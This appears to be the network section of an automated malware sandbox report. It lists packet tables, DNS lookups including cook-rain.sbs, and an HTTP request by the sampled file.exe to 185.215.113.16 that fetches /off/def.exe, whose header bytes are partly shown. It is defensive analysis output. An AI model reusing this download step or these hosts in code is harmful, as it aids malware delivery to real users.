Nov 18, 2024 17:24:50.879432917 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.879445076 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.951900959 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.951932907 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.951955080 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.952167034 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.952188015 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.952241898 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961083889 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.961154938 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.961169004 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961196899 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.961224079 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961244106 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961323023 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.961370945 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961389065 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.961404085 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961404085 CET	50102	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.961411953 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.961420059 CET	443	50102	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.964164972 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.964212894 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.964303970 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.964477062 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.964485884 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.990222931 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.990286112 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.990379095 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.990406990 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.990433931 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.990636110 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.990636110 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.990711927 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.990711927 CET	50103	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.990727901 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.990736961 CET	443	50103	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.993735075 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.993829012 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:50.993944883 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.994112968 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:50.994144917 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.012090921 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.012115955 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.012283087 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.012315035 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.012357950 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.012608051 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.012608051 CET	50104	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.012645006 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.012670994 CET	443	50104	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.015042067 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.015074968 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.015144110 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.015259027 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.015273094 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.054605961 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.055052042 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.055078030 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.055500031 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.055506945 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.183824062 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.183891058 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.183938026 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.187597990 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.187623024 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.187633991 CET	50105	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.187639952 CET	443	50105	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.190998077 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.191098928 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.191174984 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.193902016 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.193941116 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.595563889 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.596151114 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.596215963 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.596602917 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.596617937 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.724697113 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.725277901 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.725301981 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.725745916 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.725753069 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.725881100 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.726022005 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.726125002 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.726320028 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.726331949 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.726353884 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.726429939 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.726473093 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.726501942 CET	50106	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.726519108 CET	443	50106	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.726711988 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.726716995 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.729270935 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.729298115 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.729379892 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.729537964 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.729546070 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.751773119 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.754365921 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.754379034 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.754821062 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.754827976 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.854888916 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.855074883 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.855185032 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.855249882 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.855325937 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.855377913 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.857741117 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.857784986 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.857825994 CET	50108	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.857844114 CET	443	50108	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.859003067 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.859021902 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.859033108 CET	50107	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.859039068 CET	443	50107	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.870246887 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.870280981 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.870346069 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.870624065 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.870644093 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.871536016 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.871596098 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.873982906 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.874121904 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.874140978 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880362034 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880426884 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880503893 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.880517006 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880538940 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880642891 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.880661964 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880677938 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.880677938 CET	50109	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.880686045 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.880696058 CET	443	50109	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.940879107 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.941474915 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.941509008 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:51.941863060 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:51.941869974 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.068747997 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.068839073 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.069073915 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.069102049 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.069113016 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.069127083 CET	50110	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.069132090 CET	443	50110	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.460174084 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.460650921 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.460670948 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.461255074 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.461261034 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.593060970 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.593231916 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.593316078 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.593457937 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.593480110 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.593493938 CET	50111	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.593501091 CET	443	50111	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.602298021 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.602726936 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.602750063 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.603193045 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.603202105 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.633090019 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.633583069 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.633599043 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.634082079 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.634090900 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.734097004 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.734160900 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.734270096 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.734482050 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.734508991 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.734524012 CET	50112	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.734533072 CET	443	50112	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.769088984 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.769231081 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.769313097 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.769471884 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.769471884 CET	50113	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:52.769478083 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:52.769485950 CET	443	50113	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:54.058032036 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:54.058121920 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:54.058213949 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:55.253050089 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:55.253114939 CET	443	50066	142.250.185.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 17:23:06.812923908 CET	64898	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:06.824876070 CET	53	64898	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:23.539576054 CET	138	138	192.168.2.4	192.168.2.255
Nov 18, 2024 17:23:38.786974907 CET	53	52972	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:39.045913935 CET	53	65350	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:40.381407022 CET	53	53414	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:43.096939087 CET	54950	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:43.097131014 CET	53512	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:43.111907959 CET	65146	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:43.112149954 CET	59358	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:43.146378994 CET	58710	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:43.146552086 CET	64914	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:43.153667927 CET	53	58710	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:43.154485941 CET	53	64914	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:45.703526020 CET	51774	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:45.703890085 CET	65197	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:23:51.177367926 CET	53	49515	1.1.1.1	192.168.2.4
Nov 18, 2024 17:23:57.649527073 CET	53	64744	1.1.1.1	192.168.2.4
Nov 18, 2024 17:24:16.603751898 CET	53	61455	1.1.1.1	192.168.2.4
Nov 18, 2024 17:24:38.591669083 CET	53	50298	1.1.1.1	192.168.2.4
Nov 18, 2024 17:24:39.541475058 CET	53	53746	1.1.1.1	192.168.2.4
Nov 18, 2024 17:24:43.126590967 CET	61830	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:24:43.126749992 CET	57544	53	192.168.2.4	1.1.1.1
Nov 18, 2024 17:25:06.867203951 CET	53	54384	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 18, 2024 17:23:54.182178974 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 17:23:06.812923908 CET	192.168.2.4	1.1.1.1	0x1928	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.096939087 CET	192.168.2.4	1.1.1.1	0x67c0	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.097131014 CET	192.168.2.4	1.1.1.1	0x15c4	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 17:23:43.111907959 CET	192.168.2.4	1.1.1.1	0x29f8	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.112149954 CET	192.168.2.4	1.1.1.1	0xa48b	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 17:23:43.146378994 CET	192.168.2.4	1.1.1.1	0x7415	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.146552086 CET	192.168.2.4	1.1.1.1	0x8d72	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 17:23:45.703526020 CET	192.168.2.4	1.1.1.1	0xd2ea	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:45.703890085 CET	192.168.2.4	1.1.1.1	0xd05f	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 17:24:43.126590967 CET	192.168.2.4	1.1.1.1	0x9e09	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:24:43.126749992 CET	192.168.2.4	1.1.1.1	0xbc50	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 17:23:06.824876070 CET	1.1.1.1	192.168.2.4	0x1928	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:06.824876070 CET	1.1.1.1	192.168.2.4	0x1928	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.103956938 CET	1.1.1.1	192.168.2.4	0x67c0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.103956938 CET	1.1.1.1	192.168.2.4	0x67c0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.103956938 CET	1.1.1.1	192.168.2.4	0x67c0	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.103956938 CET	1.1.1.1	192.168.2.4	0x67c0	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.104707956 CET	1.1.1.1	192.168.2.4	0x591e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.104707956 CET	1.1.1.1	192.168.2.4	0x591e	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.104707956 CET	1.1.1.1	192.168.2.4	0x591e	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.104739904 CET	1.1.1.1	192.168.2.4	0x15c4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.104739904 CET	1.1.1.1	192.168.2.4	0x15c4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.104876041 CET	1.1.1.1	192.168.2.4	0xf707	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.120347977 CET	1.1.1.1	192.168.2.4	0xa48b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.121850014 CET	1.1.1.1	192.168.2.4	0x29f8	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:43.153667927 CET	1.1.1.1	192.168.2.4	0x7415	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:43.154485941 CET	1.1.1.1	192.168.2.4	0x8d72	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 17:23:44.370431900 CET	1.1.1.1	192.168.2.4	0xa2c4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:44.370431900 CET	1.1.1.1	192.168.2.4	0xa2c4	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:44.370431900 CET	1.1.1.1	192.168.2.4	0xa2c4	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:44.370526075 CET	1.1.1.1	192.168.2.4	0xaa90	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:45.711078882 CET	1.1.1.1	192.168.2.4	0xd2ea	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:45.711078882 CET	1.1.1.1	192.168.2.4	0xd2ea	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:45.711078882 CET	1.1.1.1	192.168.2.4	0xd2ea	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:45.711078882 CET	1.1.1.1	192.168.2.4	0xd2ea	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 17:23:45.711389065 CET	1.1.1.1	192.168.2.4	0xd05f	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:45.711389065 CET	1.1.1.1	192.168.2.4	0xd05f	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:54.165276051 CET	1.1.1.1	192.168.2.4	0x41cb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:54.182105064 CET	1.1.1.1	192.168.2.4	0x7968	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:58.122623920 CET	1.1.1.1	192.168.2.4	0x869b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:23:58.122778893 CET	1.1.1.1	192.168.2.4	0xa44	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:24:43.134324074 CET	1.1.1.1	192.168.2.4	0xbc50	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 17:24:43.137376070 CET	1.1.1.1	192.168.2.4	0x9e09	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	185.215.113.16	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 17:23:26.341700077 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 17:23:27.244091034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 16:23:27 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Mon, 18 Nov 2024 16:06:20 GMT Connection: keep-alive ETag: "673b65fc-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 